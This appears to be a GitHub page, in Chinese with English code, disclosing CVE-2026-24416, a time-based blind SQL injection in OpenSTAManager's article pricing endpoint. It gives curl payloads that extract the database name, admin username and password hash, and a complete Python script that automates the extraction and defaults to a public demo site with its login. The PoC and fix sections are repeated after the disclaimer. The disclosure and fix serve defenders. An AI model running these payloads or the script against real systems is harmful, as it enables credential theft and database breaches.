lukasz-rybak/CVE-2026-24416
GitHub: lukasz-rybak/CVE-2026-24416
该项目提供了针对 OpenSTAManager v2.9.8 及以下版本文章定价模块时间盲注 SQL 注入漏洞的利用代码与验证脚本。
Stars: 0 | Forks: 0
# CVE-2026-24416: OpenSTAManager 的文章定价模块存在基于时间的盲注 SQL 注入
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2026-24416](https://nvd.nist.gov/vuln/detail/CVE-2026-24416) |
| **严重程度** | HIGH |
| **公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 受影响产品
- **devcode-it/openstamanager** (版本: <= 2.9.8)
## CWE 分类
- CWE-89: SQL 命令中使用的特殊元素未正确中和 ('SQL 注入')
## 详情
### 摘要
OpenSTAManager v2.9.8 的文章定价模块中存在严重的基于时间的盲注 SQL 注入漏洞,允许经过身份验证的攻击者通过基于时间的布尔推断攻击提取完整的数据库内容,包括用户凭据、客户数据和财务记录。
**状态:** ✅ 已在实时实例 (v2.9.8) 及 [demo.osmbusiness.it](https://demo.osmbusiness.it/) (v2.9.7) 上确认并测试
**漏洞参数:** `idarticolo` (GET)
**受影响端点:** `/ajax_complete.php?op=getprezzi`
**受影响模块:** Articoli (文章/产品)
### 详情
OpenSTAManager v2.9.8 在文章定价完成处理器中包含严重的基于时间的盲注 SQL 注入漏洞。应用程序在 SQL 查询中使用 `idarticolo` 参数之前未对其进行适当的清理,允许攻击者注入任意 SQL 命令并通过基于时间的布尔推断提取敏感数据。
**漏洞链:**
1. **入口点:** `/ajax_complete.php` (第 27 行)
$op = get('op');
$result = AJAX::complete($op);
`op` 参数被获取,但漏洞位于其他参数中。
2. **分发:** `/src/AJAX.php::complete()` (第 189 行)
$result = self::getCompleteResults($file, $resource);
3. **执行:** `/src/AJAX.php::getCompleteResults()` (第 402 行)
require $file;
包含特定于模块的 complete.php 文件。
4. **漏洞参数:** `/modules/articoli/ajax/complete.php` (第 26 行)
$idarticolo = get('idarticolo');
从 GET 请求中获取 `idarticolo` 参数。
5. **漏洞 SQL 查询:** `/modules/articoli/ajax/complete.php` (第 70 行) **主要漏洞**
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
**影响:** 直接拼接 `$idarticolo` 而未使用 `prepare()`,而 `$idanagrafica` 已被正确清理。
**上下文 - 完整查询结构 (第 39-74 行):**
漏洞查询是 UNION 查询的一部分,用于从发票和交货单中获取定价历史记录:
```
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
```
**根本原因:** 开发人员在第一个 SELECT (第 54 行) 中正确使用了 `prepare()`,但在 UNION 查询的第二个 SELECT (第 70 行) 中忘记使用它,导致了不一致的安全模式。
### PoC
**第 1 步: 登录**
```
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
```
**第 2 步: 验证漏洞 (基于时间的 SLEEP)**
```
# 使用 SLEEP(10) 测试
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# 结果: real 0m10.32s (10.32 seconds)
# 使用 SLEEP(3) 测试 - 应该耗时约 3 秒
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# 结果: real 0m3.36s (3.36 seconds)
# 不使用 SLEEP 测试
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# 结果: real 0m0.31s (0.31 seconds)
```
**第 3 步: 数据提取 - 数据库名称**
```
# 提取数据库名称的第一个字符
# 测试第一个字符是否为 'o' (预期: 对于 'openstamanager' 为 TRUE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.34s (SLEEP 已执行 - 条件为 TRUE)
# 测试第一个字符是否为 'x' (预期: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m0.31s (SLEEP 未执行 - 条件为 FALSE)
# 提取第二个字符 (预期: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.34s (SLEEP 已执行 - 确认第二个字符为 'p')
# 提取前 3 个字符 (预期: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.33s (SLEEP 已执行 - 确认 'ope...')
```
**第 4 步: 提取敏感数据 - 管理员凭据**
```
# 提取管理员用户名 (测试前 5 个字符是否为 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.33s (SLEEP 已执行 - 确认管理员用户名)
# 提取密码哈希的第一个字符 (预期: 对于 bcrypt 为 '$')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.33s (SLEEP 已执行 - 确认 bcrypt 哈希格式)
```
**Payload 说明:**
```
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
```
**自动提取脚本示例:**
```
import requests
import time
import string
import sys
# 默认配置
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
```
### 影响
**受影响用户:** 所有有权访问文章定价功能的已通过身份验证的用户(通常是管理报价、发票、订单的用户)。
**建议修复:**
**文件:** `/modules/articoli/ajax/complete.php`
**修复前 (存在漏洞 - 第 70 行):**
```
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
```
**修复后 (已修复):**
```
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
```
### 致谢
由 Łukasz Rybak 发现
## 参考
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
- https://nvd.nist.gov/vuln/detail/CVE-2026-24416
- https://github.com/advisories/GHSA-p864-fqgv-92q4
## 免责声明
本 CVE 遵循协调漏洞披露实践进行了负责任的披露。此处提供的信息仅用于教育和防御目的。
**第 3 步: 数据提取 - 数据库名称**
```
# 提取数据库名称的第一个字符
# 测试第一个字符是否为 'o' (预期: 对于 'openstamanager' 为 TRUE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.34s (SLEEP 已执行 - 条件为 TRUE)
# 测试第一个字符是否为 'x' (预期: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m0.31s (SLEEP 未执行 - 条件为 FALSE)
# 提取第二个字符 (预期: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.34s (SLEEP 已执行 - 确认第二个字符为 'p')
# 提取前 3 个字符 (预期: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.33s (SLEEP 已执行 - 确认 'ope...')
```
**第 4 步: 提取敏感数据 - 管理员凭据**
```
# 提取管理员用户名 (测试前 5 个字符是否为 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.33s (SLEEP 已执行 - 确认管理员用户名)
# 提取密码哈希的第一个字符 (预期: 对于 bcrypt 为 '$')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# 结果: real 0m2.33s (SLEEP 已执行 - 确认 bcrypt 哈希格式)
```
**Payload 说明:**
```
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
```
**自动提取脚本示例:**
```
import requests
import time
import string
import sys
# 默认配置
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
```
### 影响
**受影响用户:** 所有有权访问文章定价功能的已通过身份验证的用户(通常是管理报价、发票、订单的用户)。
**建议修复:**
**文件:** `/modules/articoli/ajax/complete.php`
**修复前 (存在漏洞 - 第 70 行):**
```
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
```
**修复后 (已修复):**
```
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
```
### 致谢
由 Łukasz Rybak 发现
## 参考
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
- https://nvd.nist.gov/vuln/detail/CVE-2026-24416
- https://github.com/advisories/GHSA-p864-fqgv-92q4
## 免责声明
本 CVE 遵循协调漏洞披露实践进行了负责任的披露。此处提供的信息仅用于教育和防御目的。标签:CISA项目, CVE-2026-24416, CWE-89, Exploit, GET请求注入, OpenSTAManager, PHP漏洞, Web安全, 参数污染, 多线程, 数据库泄露, 文章定价模块, 时间盲注, 污点分析, 漏洞复现, 演示模式, 盲注, 网络安全, 蓝队分析, 逆向工具, 隐私保护, 高危漏洞